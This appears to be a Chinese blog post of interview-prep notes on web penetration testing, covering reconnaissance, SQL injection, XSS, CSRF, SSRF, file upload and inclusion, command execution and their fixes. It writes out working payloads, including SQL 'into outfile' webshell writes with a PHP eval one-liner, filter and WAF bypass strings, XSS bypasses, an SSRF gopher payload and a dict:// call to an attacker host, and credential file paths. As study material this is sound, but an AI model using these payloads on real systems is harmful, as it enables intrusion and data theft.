面试准备知识

信息收集

假如给你一个网站你怎么去渗透

步骤

首先看是什么类型的网站,大型网站可以去天眼查等查询法人股份等信息,小型网站可以查询使用了哪类建站系统。

  1. whois信息查询

获取注册者邮箱姓名电话等

  1. 查询服务器旁站及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
  2. 查看服务器操作系统版本、web中间件,看是否存在已知的漏洞,比如IIS、APACHE、NGINX的解析漏洞
  3. 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync、心脏滴血、mysql、ftp、ssh弱口令等。
  4. 扫描网站目录结构,看看是否可以遍历目录或者敏感文件泄露,比如php探针。
  5. Google hack进一步探测网站的信息、后台、敏感文件。
  6. 查看这个网站都有哪些功能,针对不同的功能可以实现不同的漏洞利用。

whois查询主要查的是什么?

  1. 域名信息
  2. 注册商
  3. 联系人
  4. 联系邮箱
  5. 网站创建时间
  6. 网站过期时间
  7. DNS信息
  8. 网站状态
    扩展:什么是whois?whois可以理解为域名数据库搜索

常见中间件漏洞

  1. IIS
  • PUT漏洞
  • 远程代码执行
  • 短文件名猜解
  • 解析漏洞
  1. Apache
  • 解析漏洞
  • 目录遍历
  1. Nginx
  • 文件解析
  • 目录遍历
  • CRLF注入
  • 目录穿越
  1. Tomcat
  • 远程代码执行
  • war后门文件部署

5.jBoss

1、反序列化漏洞
2、war 后门文件部署

6.WebLogic

1、反序列化漏洞
2、SSRF
3、任意文件上传
4、war 后门文件部署

7.其它中间件相关漏洞

1、FastCGI 未授权访问、任意命令执行
2、PHPCGI 远程代码执行

nmap命令

-p 加端口号或1-65535
-sS (TCP SYN扫描)
-sT (TCP connect()扫描)
-sU (UDP扫描)
-sV (版本探测)
-O (启用操作系统检测)
-f (报文分段); --mtu (使用指定的MTU)
-D <decoy1 ,decoy2,...> (使用诱饵隐蔽扫描)
-S <IP_Address> (源地址哄骗)

SQL注入

SQL和NoSQL的优缺点

SQL 优点:结构稳定、逻辑性强、易于理解
SQL 缺点:不适于高并发、不适于海量数据高效读写、维护开销大、相对 nosql 速度慢
NoSql 优点:易扩展、数据结构灵活、查询速度快
比较:没有好坏之分,只看应用环境。关系型数据库可靠性更强、适用于银行等数据精度要求高的环境。非关系型数据库适用于高并发、大量数据库交互、数据准确度不高的环境。

常见数据库端口

关系型:
	mysql:3306
	sqlserver:1433
	orecal:1521
	PostgreSQL:5432
	db2:50000
非关系型:
	MongoDB:27017
	redis:6379
	memcached:11211

SQL注入的分类

从注入参数类型分:
	数字型注入
	字符型注入
	搜索型注入
从注入方法分:
	基于报错
	基于布尔盲注
	基于时间盲注
	联合查询
	堆叠注入
	宽字节注入
从提交方式分:
	GET注入
	POST注入
	COOKIE注入
	HTTP头注入

load_file判断是否有读写权限

and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权

mysql5.0上下有什么区别

mysql5.0以下版本没有information_schema这个系统库,无法列出表名列名,只能暴力跑

MySQL中@和@@的区别

一个@是用户自定义变量
两个@是系统变量,如@@version、@@user

MySQL绕过常用函数

group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()

SQL注入的危害和修复

造成敏感信息泄漏,攻击者可以对表数据进行操作。如果有写权限,可以写入木马,可能被getshell。或者被提权

修复方案:
  sql语句预编译
  对输入内容进行转义
  使用安全函数

SQL注入写入webshell的条件和方式

条件:
	要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
	gpc没有开启,开启了单引号被转义了,语句就不能正常执行了
	要有file权限,默认情况下只有root有
	对目录要有写权限,一般image之类的存放突破的目录就有
	
方式:
	1;union写入
		union select into outfile,将一句话写入shell.php,仅适用于联合注入
		具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
		?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
	2.分隔符写入
		当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式
		具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
		?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#
		?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
		?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
		?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#
	3.log写入
		新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
		具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

sql注入过滤了逗号

/*1.join绕过*/
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

/*2.对于mid()和substr()函数,可以使用from for*/
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

/*3.对于limit可以用offset*/
limit 0,1 ==> limit 1 offset 0

sleep被禁用后还能怎么进行sql注入(延时函数都有哪些?)

/*1.benchmark代替sleep*/
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

/*2.笛卡尔积盲注*/
select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

/*3.RLIKE盲注*/
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

Select被过滤怎么办

sel<>ect
sele/**/ct
/*!%53eLEct*/
se%0blect
REVERSE(tceles)
%53eLEct

盲注关键的表被过滤了,该怎么办

如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(passwo
rd,@a:=(@a+1)%2)

sql注入常见的过WAF方法

内联注释绕过
填充大量脏数据绕过
垃圾参数填充绕过
改变提交方式绕过,如GET方式变为POST方式提交
随机agent头绕过
fuzz过滤函数
函数替换绕过

Mysql UDF提权

原理:
  UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
  
条件:
  如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
  如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目   录,在windows server 2000下放置在c:\winnt\system32目录。
  掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  拥有可以将udf.dll写入相应目录的权限。

SQL注入如何判断不同数据库

1.注释符判断
/是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL;
继续提交如下查询字符:–是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说
明为这两种数据库类型之一。
继续提交如下查询字符:;是子句查询标识符,Oracle 不支持多行查询,因此如果返回
错误,则说明很可能是 Oracle 数据库。
2.函数判断
and (select count()from MSysAccessObjects)>0 access 数据库
and (select count()from sysobjects)>0 返回正常说明是 mssql 数据库
and length(user())>10 返回正常说明是 Mysql
Oracle 可以根据 from dual 虚拟库判断
3.根据语言和中间件常识
Asp 和.net 通常使用 sqlserver
Php 通常使用 mysql 或者 postgresql
Java 通常是 oracle 或 mysql
IIS 服务器是基于 windows 的架构,后台数据库有可能是 sqlserver
Apache 服务器,可能使用开源数据库 mysql 或 postgresql

预编译是否100%能防御SQL注入

预编译原理:
先将查询语句固定
通过函数将传参变为字符串
拼接字符串去执行
你的关键字根本不会当作关键字去执行
$pdo->query(SET NAMES gbk’);
$var = “\xbf\x27 OR 1=1 /;
$query =SELECT FROM test WHERE name = ? LIMIT 1;
$stmt = $pdo->prepare($query);
$stmt->execute(array($var)); 类似于宽字节注入

发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell

(1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询
的输出重定向到系统的文件中,这样去写入 WebShell
(2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样
效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,
再在后台通过改包上传等方法上传 Shell

XSS

XSS的分类

1.反射型
	发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。
2.存储型
	存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。(例如:常见的评论,在文本框中输入一段代码,那么就会存放在数据库当中,当再次加载的时候便会执行这样的代码)

3.DOM型XSS

如何预防XSS

过滤一些危险字符,以及转义& < > " ' /等危险字符
HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此Cookie。
设置CSP(Content Security Policy)
输入内容长度限制

XSS和CSRF、SSRF的区别

相同:三种Web服务端漏洞均是服务器对用户提供的可控数据过于信任或过滤不严导致的
不同:
	XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回前端页面出现了预期之外的脚本语句执行
	CSRF是服务器没对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者利用用户cookie信息伪造用户请求发送至服务器
	SSRF是服务器对用户提交的可控URL过于信任,没有对攻击者提供的url进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器

除了alert函数,还可以使用哪些函数弹窗

prompt(),confirm()

绕过方法

1.过滤空格:
	用/代替空格
2.关键字过滤:
	双写绕过
	大小写绕过
	字符串拼接:<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
	编码绕过
		Unicode编码绕过:<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
		URL编码绕过:<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
		ascii码绕过:<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
		base64绕过:<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
3.过滤单双引号
	编码绕过
	使用反引号:<img src="x" onerror=alert(`xss`);>
4.其他
	使用中文标点
	使用IP

CSRF

什么是CSRF

攻击者盗用了你的身份信息,以你的名义发送恶意请求,对服务器来说这个请求是你发起的,却完成了攻击者所期望的一个操作

CSRF的预防

1.当用户发送重要的请求时输入验证码
2.涉及随机TOKEN ---数据包的唯一值
3.检测referer来源,请求时判断请求连接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4.设置验证码
5.限制请求方式只能为post0

SSRF

SSRF形成的原因

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 

SSRF绕过

1.使用Enclosed alphanumerics编码
2.[::]绕过
3.@example绕过 http://example.com@127.0.0.1
4.127.0.0.1 => 127.1 => http://0/
5.短域名绕过
6..xip.io绕过
7.IP进制转换
8.利用句号 127。0。0。1 => 127.0.0.1
9.利用协议
	Dict://
	dict://<user-auth>@<host>:<port>/d:<word>
	ssrf.php?url=dict://attacker:11111/
	
  SFTP://
  ssrf.php?url=sftp://example.com:11111/
  
  TFTP://
  ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
  
  LDAP://
  ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
  
  Gopher://
  ssrf.php?	 url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

SSRF的利用方式

1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)

SSRF预防

1.禁止跳转
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

XXE

越权漏洞

水平越权和垂直越权

水平越权:
		水平越权通常是获得同级别用户的权限,可以访问到同级别用户的数据

垂直越权:
		垂直越权又叫权限攻击,是获得高于自己当权角色权限的账户的权限。

越权漏洞原理及防御方案

越权漏洞通常出现的位置

订单界面
修改用户信息界面
用户信息查询界面
等通过ID或者文件名等参数进行交互的地方

越权漏洞预防措施

前后端同时对用户输入信息进行校验,双重验证机制
调用功能前验证用户是否有权限调用相关功能
执行关键操作验证用户身份,验证是否有操作数据的权限
直接对象引用的资源ID,防止攻击者枚举ID,敏感数据特殊化处理
对可控参数进行严格的检查和过滤

文件上传

常用绕过手法

客户端
	js检查

服务端
    检查后缀
    黑名单
    上传特殊可解析后缀
    上传.htaccess
    上传.user.ini
    后缀大小写绕过
    点绕过
    空格绕过
    ::$DATA

配合解析漏洞
    Apache HTTPD 换行解析漏洞(CVE-2017-15715)
    Apache HTTPD 多后缀解析漏洞
    Nginx 解析漏洞
    IIS7.5解析漏洞
    IIS6解析漏洞
    双后缀名绕过
    
白名单
    MIME绕过
    %00截断
    0x00截断(白名单、上传路径可控、php.ini中的magic_quotes_gpc为off)
    0x0a截断(php版本<5.3.4、php.ini中的magic_quotes_gpc设置为off、上传路径可控、白名单)
    检查内容
    文件头检查
    突破getimagesize()
    突破exif_imagetype()
    二次渲染
    其他
    条件竞争

PHP爆绝对路径的方法

单引号爆路径
错误参数值爆路径
Google 爆路径:Site:xxx.edu.tw warning
测试文件爆路径(test.php、1.php、ceshi.php、info.php)
phpmyadmin 爆路径:/phpmyadmin/libraries/lect_lang.lib.php
配置文件找路径

文件包含

PHP中文件包含函数及其特点

require()
require_once()
include()
include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题

常见的敏感信息路径

Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

session文件包含漏洞

利用条件:
1.session的存储位置可以获取
  可以通过phpinfo查看
  可以进行猜测路径,如linux下默认存储在/var/lib/php/session目录下
2.session中的内容可以被控制,传入恶意代码

文件包含常用绕过

%00截断绕过
	magic_quotes_gpc = Off php版本<5.3.4
路径长度截断
	windows OS,点号需要长于256;linux OS 长于4096
./绕过
去后缀名绕过
问号绕过
#号绕过

PHP伪协议

1.php://filter(本地磁盘文件进行读取)
双off
	用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
2.php://input (读取POST数据)
	用法:POST写入木马<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
3.file://伪协议 (读取文件内容)
	用法:file://c:/boot.ini
4.data://(读取文件)
	用法:data://text/plain;base64,SSBsb3ZlIFBIUAo=(双on)
5.phar://(压缩文件读取)
	用法:?file=phar://压缩包/内部文件

命令执行

常见危险函数

代码执行函数:eval、assert、call_user_func、create_function、array_map
命令执行函数:system、passthru、exec、pcntl_exec、shell_exec、popen()

修复方案

1.尽量少用执行命令的函数或者直接禁用
2.参数值尽量使用引号包括
3.在使用动态函数之前,确保使用的函数是指定的函数之一
4.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
5.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
6.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
7.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。

常见web漏洞原理、防御办法

1.SQL注入
	原理:数据与代码未分离
	防御:
	waf
	使用预编译语句,绑定变量
	检查数据类型,例如限制输入数据只能为int
	使用安全函数,encodeForSQL()
	最小权限原则,避免直接使用root
2.XSS
	原理:
	防御:
	在Cookie中设置HttpOnly标识,禁止页面的js访问带有httponly属性的cookie
	XSS Filter:过滤用户输入的危险字符,设置黑白名单
	输出检查:编码和转义,常用编码:html编码、url编码、js编码、16进制、base64等,使得浏览器无法解析执行js代码
	针对不同位置的输出,使用不同的处理方式
	处理富文本:限制用户能使用的标签,限制为只能使用a、div等安全的标签
	header中使用content-Sencurity-Policy字段,规定请求js的域名白名单(CSP策略)
3.CSRF
	原理:通过伪装来自受信任用户的请求来利用受信任的网站,例如:用户登录某账户,浏览器获得cookie;攻击者诱使用户访问某构造好的恶意CSRF页面。
	防御:
	验证码
	Referer Check(HTTPS跳转到HTTP不会发送Referer)
	Anti CSRF Token
4.SSRF
	原理:利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,一般用来在外网探测或攻击内网服务
	防御:
	对url参数进行过滤,过滤返回信息
	限制请求端口为http常用的端口
	内网IP黑名单
	禁用不需要的协议
5.XXE
	原理:应用程序解析XML输入时,没有禁止DTD引用外部实体的加载,导致可加载恶意外部文件
	防御:
	使用开发语言提供的禁用外部实体的方法
	过滤用户提交的XML数据,过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
6.文件上传
	原理:没有对上传文件进行过滤导致用户可以上传shell
	防御:
		文件扩展名服务端白名单校验。
		文件内容服务端校验。
		上传文件重命名。
        隐藏上传文件路径。
        文件上传的目录设置为不可执行
        单独设置文件服务器的域名

1.IIS
  6.x 解析漏洞
	.asp文件夹下的文件会解析为asp
	.asp;.jpg文件会被解析为asp
  7.x 解析漏洞
  	.jpg后加上/.php会将jpg文件解析为php
  PUT任意文件写入
  	开启WevDav之后如果有写入权限会造成任意文件写入
  短文件名猜解
2.Apache
  未知后缀解析漏洞
  	.php.xxx1.xxx2,从右往左解析
  后缀换行漏洞
  	1.php/%0A会被解析为php
  ADDhandle配置错误 配置处理器
3.Nginx
  配置错误导致解析漏洞/.php
  空字符任意命令执行
  文件名逻辑漏洞
  	文件名后加空格
  配置错误
  	目录穿越:配置alias的时候没有/
  	目录遍历:autoindex=o
  	LR注入漏洞:url解析换行
4.tomcat
  弱口令
  远程代码执行:函数在windows上和linux的实现不同
  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值